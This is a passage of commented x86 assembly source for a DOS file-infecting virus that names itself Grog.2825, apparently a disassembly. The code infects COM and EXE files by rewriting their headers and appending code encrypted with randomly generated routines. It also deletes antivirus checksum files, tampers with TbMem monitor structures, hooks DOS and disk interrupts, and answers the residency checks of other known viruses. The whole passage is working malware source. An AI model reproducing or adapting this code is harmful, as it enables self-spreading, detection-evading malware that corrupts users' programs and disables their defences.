ax ; Load registers from stack ret ; Return! test_read: pop ax ; Load AX from stack add ax,cx ; Add number of bytes actually wri... cmp ax,cx ; Calculate number of bytes in la...? jae calc_pages_ ; Above or equal? Jump to calc_pages_ pop dx ; Load DX from stack inc dx ; Increase DX push dx ; Save DX at stack calc_pages_: push ax ; Save AX at stack add cx,(code_end-code_begin) mod 200h) add word ptr [file_buffer+02h],cx test_pages_: cmp word ptr [file_buffer+02h],200h jb calc_cs_ip ; Below? Jump to calc_cs_ip inc word ptr [file_buffer+04h] sub word ptr [file_buffer+02h],200h jmp test_pages_ calc_cs_ip: add word ptr [file_buffer+04h],05h nop mov word ptr [file_buffer+14h],100h pop ax ; Load AX from stack mov cl,04h shr ax,cl ; Convert bytes to paragraphs sub ax,10h ; Subtract instruction pointer mov word ptr [file_buffer+16h],ax mov word ptr [file_buffer+0eh],ax xor dx,dx ; Zero DX pop cx ; Load CX from stack (DX) calc_vir_ptr: add dh,10h ; Calculate pointer to virus loop calc_vir_ptr add word ptr [file_buffer+16h],dx inc dx ; DX = initial SS relative to star... add word ptr [file_buffer+0eh],dx mov word ptr [file_buffer+10h],0eeh call set_file_sof mov cx,18h ; Write eightteen bytes lea dx,file_buffer ; DX = offset of file_buffer mov ah,40h ; Write to file call int21_simula call set_file_eof jmp grog_crypt_ nop write_origin: lea dx,file_buffer ; DX = offset of file_buffer mov cx,(code_end-code_begin) mov ah,40h ; Write to file call int21_simula jnc grog_crypt ; No error? Jump to grog_crypt ret ; Return! grog_crypt: call set_file_sof grog_crypt_: push bx ; Save BX at stack lea di,decrypt_algo ; DI = offset of decrypt_algo lea bx,encrypt_algo ; BX = offset of encrypt_algo mov cx,03h ; Generate three encryption/decryp... create_loop: in al,40h ; AL = 8-bit random number mov dh,al ; DL = encryption/decryption key in al,40h ; AL = 8-bit random number in al,40h ; AL = " " " get_rnd_num: sub al,20h ; Subtract twenty from the 8-bit r... cmp al,20h ; Too large a 8-bit random number? ja get_rnd_num ; Above? Jump to get_rnd_num and ax,0000000000111100b lea si,table_begin_ ; SI = offset of table_begin_ add si,ax ; SI = offset of decryption algori... push [si] ; Save decryption algorithm at stack pop [di-02h] ; Load decryption algorithm from s... push [si+02h] ; Save encryption algorithm at stack pop ax ; Load AX from stack push ax ; Save AX at stack pop [bx-02h] ; Load encryption algorithm from s... cmp al,0d0h ; Store encryption/decryption key? jae move_idx_ptr ; Above or equal? Jump to move_idx... mov [di-01],dh ; Store encryption/decryption key mov [bx-01],dh ; " " " move_idx_ptr: inc di ; Increase DI inc di ; " " dec bx ; Decrease BX dec bx ; " " loop create_loop pop bx ; Load BX from stack mov si,100h ; SI = offset of beginning of code lea di,file_buffer ; DI = offset of file_buffer mov cx,(crypt_begin-code_begin) rep movsb ; Move decryptor to file_buffer mov cx,(crypt_end-crypt_begin) encrypt_loop: lodsb ; AL = byte of plain code db 06h dup(90h) ; Encryption algorithm encrypt_algo equ word ptr $ ; " " stosb ; Store byte of encrypted code loop encrypt_loop mov cx,(code_end-code_begin) cmp [com_exe_ov],01h ; EXE/Overlay executable? jne write_virus ; Not equal? Jump to write_virus add cx,bp ; CX = number of bytes to write write_virus: lea dx,file_buffer ; DX = offset of file_buffer mov ah,40h ; Write to file call int21_simula call del_crc_file mov ax,[sft_segment] ; AX = segment of system file table mov es,ax ; ES = " " " " " mov di,[sft_offset] ; DI = offset of system file table or byte ptr es:[di+06h],01000000b ret ; Return! endp set_file_sof proc near ; Set current file position (SOF) mov ax,[sft_segment] ; AX = segment of system file table mov es,ax ; ES = " " " " " mov di,[sft_offset] ; DI = offset of system file table mov word ptr es:[di+15h],00h mov word ptr es:[di+17h],00h push cs ; Save CS at stack pop es ; Load ES from stack (CS) ret ; Return! endp set_file_eof proc near ; Set current file position (EOF) mov ax,[sft_segment] ; AX = segment of system file table mov es,ax ; ES = " " " " " mov di,[sft_offset] ; DI = offset of system file table push es:[di+11h] ; Save low-order 16-bits of filesi... pop es:[di+15h] ; Load low-order 16-bits of filesi... push es:[di+13h] ; Save high-order 16-bits of files... pop es:[di+17h] ; Load high-order 16-bits of files... push cs ; Save CS at stack pop es ; Load ES from stack (CS) ret ; Return! endp del_crc_file proc near ; Delete CRC files mov ah,41h ; Delete file lea dx,anti_vir_dat ; DX = offset of anti_vir_dat call int21_simula mov ah,41h ; Delete file lea dx,chklist__ ; DX = offset of chklist__ call int21_simula mov ah,41h ; Delete file lea dx,_nav___no ; DX = offset of _nav___no call int21_simula ret ; Return! endp xchg_i13_i40 proc near ; Exchange address interrupt 13/in... push cs ; Save CS at stack pop ds ; Load DS from stack (CS) push word ptr [int13_addr] push word ptr [int13_addr+02h] xor ax,ax ; Zero AX mov ds,ax ; DS = segment of interrupt table push ds:[13h*04h] ; Get interrupt offset 13h pop word ptr cs:[int13_addr] push ds:[13h*04h+02h] ; Get interrupt segment 13h pop word ptr cs:[int13_addr+02h] pop ds:[13h*04h+02h] ; Set interrupt segment 13h pop ds:[13h*04h] ; Set interrupt offset 13h push cs ; Save CS at stack pop ds ; Load DS from stack (CS) push word ptr [int40_addr] push word ptr [int40_addr+02h] xor ax,ax ; Zero AX mov ds,ax ; DS = segment of interrupt table push ds:[40h*04h] ; Get interrupt offset 40h pop word ptr cs:[int40_addr] push ds:[40h*04h+02h] ; Get interrupt segment 40h pop word ptr cs:[int40_addr+02h] pop ds:[40h*04h+02h] ; Set interrupt segment 40h pop ds:[40h*04h] ; Set interrupt offset 40h push cs ; Save CS at stack pop ds ; Load DS from stack (CS) ret ; Return! endp tbmem_retro proc near ; TbMem retro structures mov ah,35h ; Get interrupt vector call int21_simula push es ; Save ES at stack pop ds ; Load DS from stack (ES) xor di,di ; Zero DI find_tbmem: mov si,di ; SI = offset of interrupt find_tbmem_: cmp si,20h ; Searched through thirty-two bytes? ja retro_exit ; Above? Jump to retro_exit lodsb ; AL = byte of interrupt cmp al,'T' ; Found first character of the st...? jne find_tbmem_ ; Not equal? Jump to find_tbmem_ mov di,si ; DI = offset of interrupt lodsw ; AX = word of interrupt cmp ax,'MB' ; Found second and third characte...? jne find_tbmem ; Not equal? Jump to find_tbmem lodsw ; AX = word of interrupt cmp ax,'ME' ; Found fourth and fifth characte...? jne find_tbmem ; Not equal? Jump to find_tbmem find_int20: mov si,di ; SI = offset of interrupt find_int20_: cmp si,200h ; Searched through five hundred an... ja retro_exit ; Above? Jump to retro_exit lodsb ; AL = byte of interrupt cmp al,byte ptr cs:[int20_addr] jne find_int20_ ; Not equal? Jump to find_int20_ mov di,si ; DI = offset of interrupt lodsb ; AL = byte of interrupt cmp al,byte ptr cs:[int20_addr+01h] jne find_int20 ; Not equal? Jump to find_int20 lodsb ; AL = byte of interrupt cmp al,byte ptr cs:[int20_addr+02h] jne find_int20 ; Not equal? Jump to find_int20 lodsb ; AL = byte of interrupt cmp al,byte ptr cs:[int20_addr+03h] jne find_int20 ; Not equal? Jump to find_int20 mov si,di ; SI = offset of interrupt mov [si-01],offset int20_virus mov [si+01],cs ; Set interrupt vector 20h mov [si+03],offset int21_virus mov [si+05],cs ; Set interrupt vector 21h retro_exit: ret endp tst_vir_func: cmp ax,0fe01h ; Flip function? jne test_tequila ; Not equal? Jump to test_tequila mov ax,1feh ; Flip already resident iret ; Interrupt return! test_tequila: cmp ax,0fe02h ; Tequila function? jne test_cascade ; Not equal? Jump to test_cascade mov ax,1fdh ; Tequila already resident iret ; Interrupt return! test_cascade: cmp ax,4bffh ; Cascade/justice function? jne test_invader ; Not equal? Jump to test_invader mov di,55aah ; Cascade/justice already resident iret ; Interrupt return! test_invader: cmp ax,4243h ; Invader function? jne test_diamond ; Not equal? Jump to test_diamond mov ax,5678h ; Invader already resident iret ; Interrupt return! test_diamond: cmp ax,0d5aah ; Diamond/dir function? jne test_gotcha ; Not equal? Jump to test_gotcha mov ax,2a55h ; Diamond already resident iret ; Interrupt return! test_gotcha: cmp ax,0dadah ; Gotcha function? jne jmp_tst_func ; Not equal? Jump to jmp_tst_func mov ah,0a5h ; Gotcha already resident iret ; Interrupt return! jmp_tst_func: jmp test_functio int24_virus proc near ; Interrupt 24h of Grog.2825 mov al,03h ; Fail system call in progress int24_exit: iret ; Interrupt return! endp nop int20_virus proc near ; Interrupt 20h of Grog.2825 mov ax,8e67h ; Grog.2825 function int 21h xor ax,ax ; Zero AX mov ds,ax ; DS = segment of interrupt table cli ; Clear interrupt-enable flag push ds:[21h*04h] ; Get interrupt offset 21h pop word ptr cs:[int21_origin] push ds:[21h*04h+02h] ; Get interrupt segment 21h pop word ptr cs:[int21_origin+02h] mov ds:[21h*04h],offset int21_virus mov ds:[21h*04h+02h],cs ; Set interrupt vector 21h sti ; Set interrupt-enable flag int20_exit: db 0eah ; JMP imm32 (opcode 0eah) int20_addr dd ? ; Address of interrupt 20h endp int21_simula proc near ; Simulate interrupt 21h pushf ; Save flags at stack db 9ah ; CALL imm32 (opcode 9ah) int21_addr dd ? ; Address of interrupt 21h ret ; Return! endp origin_off dw terminate-100h ; Offset of original code of infec... stack_seg dw ? ; Stack segment stack_ptr dw ? ; Stack pointer checksum dw ? ; Checksum origin_ip dw ? ; Original instruction pointer origin_cs dw ? ; Original code segment com_exe_ov db 00h ; COM or EXE/Overlay executable retro_struc db ? ; TbMem retro structures tunnel_addr equ dword ptr $ ; Address of tunneled interrupt int13_addr dd ? ; Address of interrupt 13h int21_addr_ equ dword ptr $-04h ; Address of interrupt 21h int40_addr dd ? ; Address of interrupt 40h int01_addr dd ? ; Address of interrupt 01h c__command_c db 'C:\COMMAND.COM',00h c__dos_comma db 'C:\DOS\COMMAND.COM',00h file_specifi db '*.*',00h ; File specification table_begin db 'IBMBIO' ; IBMBIO.COM db 'IBMDOS' ; IBMDOS.COM db 'SCAN ' ; McAfee ViruScan db 'CLEAN ' ; " " db 'F-PROT' ; F-PROT db 'CPAV ' ; Central Point Anti-Virus db 'MSAV ' ; Microsoft Anti-Virus db 'NAV ' ; Norton Anti-Virus table_end: table_begin_: add al,00h ; Decryption algorithm sub al,00h ; Encryption " sub al,00h ; Decryption " add al,00h ; Encryption " xor al,00h ; Decryption " xor al,00h ; Encryption " rol al,01h ; Decryption " ror al,01h ; Encryption " ror al,01h ; Decryption " rol al,01h ; Encryption " dec al ; Decryption " inc al ; Encryption " inc al ; Decryption " dec al ; Encryption " neg al ; Decryption " neg al ; Encryption " not al ; Decryption " not al ; Encryption " table_end_: anti_vir_dat db 'ANTI-VIR.DAT',00h ; ThunderBYTE Anti-Virus CRC file chklist__ db 'CHKLIST.*',00h ; Microsoft Anti-Virus/Central Poi... _nav___no db '\NAV_._NO',00h ; Norton Anti-Virus CRC file crypt_end: code_end: sft_segment dw ? ; Segment of system file table sft_offset dw ? ; Offset of system file table file_buffer: db 18h dup(?) command_inst db ? ; Instance of COMMAND.COM already ... terminate: int 20h ; Terminate program! db 0b3d8h dup(?) data_buffer: db 1ea8h dup(?) dta: db 15h dup(?) ; Used by DOS for find next-process file_attr db ? ; File attribute file_time dw ? ; File time file_date dw ? ; File date filesize dd ? ; Filesize filename db 0dh dup(?) ; Filename data_end: end code_begin